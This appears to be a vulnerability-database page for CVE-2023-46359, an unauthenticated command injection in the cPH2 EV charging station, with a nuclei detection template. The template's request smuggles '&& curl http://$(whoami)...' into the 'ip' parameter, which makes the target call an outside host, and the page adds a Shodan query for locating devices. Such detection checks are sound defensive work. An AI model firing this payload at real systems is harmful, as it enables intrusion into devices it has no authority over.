HexBrain

Browse / CVEs / CVE-2023-46359

CVE-2023-46359· hardy-barth / cph2 echarge· CWE-78

cPH2 Charging Station v1.87.0 - OS Command Injection

criticalseverity
9.8CVSS score
87.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An OS command injection vulnerability in Hardy Barth cPH2 Ladestation v1.87.0 and earlier, may allow an unauthenticated remote attacker to execute arbitrary commands on the system via a specifically crafted arguments passed to the connectivity check feature.

Impact

Unauthenticated attackers can exploit OS command injection through the connectivity check feature to execute arbitrary system commands and completely compromise cPH2 charging station installations.

Fix

Fixed in version 2.0.0

How to confirm it

Send: GET {{BaseURL}}/connectioncheck.php?ip={{url_encode('127.0.0.1 && curl http://$(whoami).{{interactsh-url}}')}}
Positive when: contains "<b>SUCCESS</b>" and "127.0.0.1 && curl http://$(whoami).{{interactsh-url}}" AND contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2023-46359 -u <target>

The full check
id: CVE-2023-46359

info:
  name: cPH2 Charging Station v1.87.0 - OS Command Injection
  author: mlec
  severity: critical
  description: |
    An OS command injection vulnerability in Hardy Barth cPH2 Ladestation v1.87.0 and earlier, may allow an unauthenticated remote attacker to execute arbitrary commands on the system via a specifically crafted arguments passed to the connectivity check feature.
  impact: |
    Unauthenticated attackers can exploit OS command injection through the connectivity check feature to execute arbitrary system commands and completely compromise cPH2 charging station installations.
  remediation: Fixed in version 2.0.0
  reference:
    - https://www.offensity.com/en/blog/os-command-injection-in-cph2-charging-station-200-cve-2023-46359-and-cve-2023-46360/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46359
    - http://hardy.com
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46359
    cwe-id: CWE-78
    epss-score: 0.87608
    epss-percentile: 0.9976
    cpe: cpe:2.3:h:hardy-barth:cph2_echarge:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hardy-barth
    product: cph2_echarge
    shodan-query: html:"Salia PLCC"
  tags: cve2023,cve,salia-plcc,cph2,rce,hardy-barth,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/connectioncheck.php?ip={{url_encode('127.0.0.1 && curl http://$(whoami).{{interactsh-url}}')}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>SUCCESS</b>"
          - "127.0.0.1 && curl http://$(whoami).{{interactsh-url}}"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from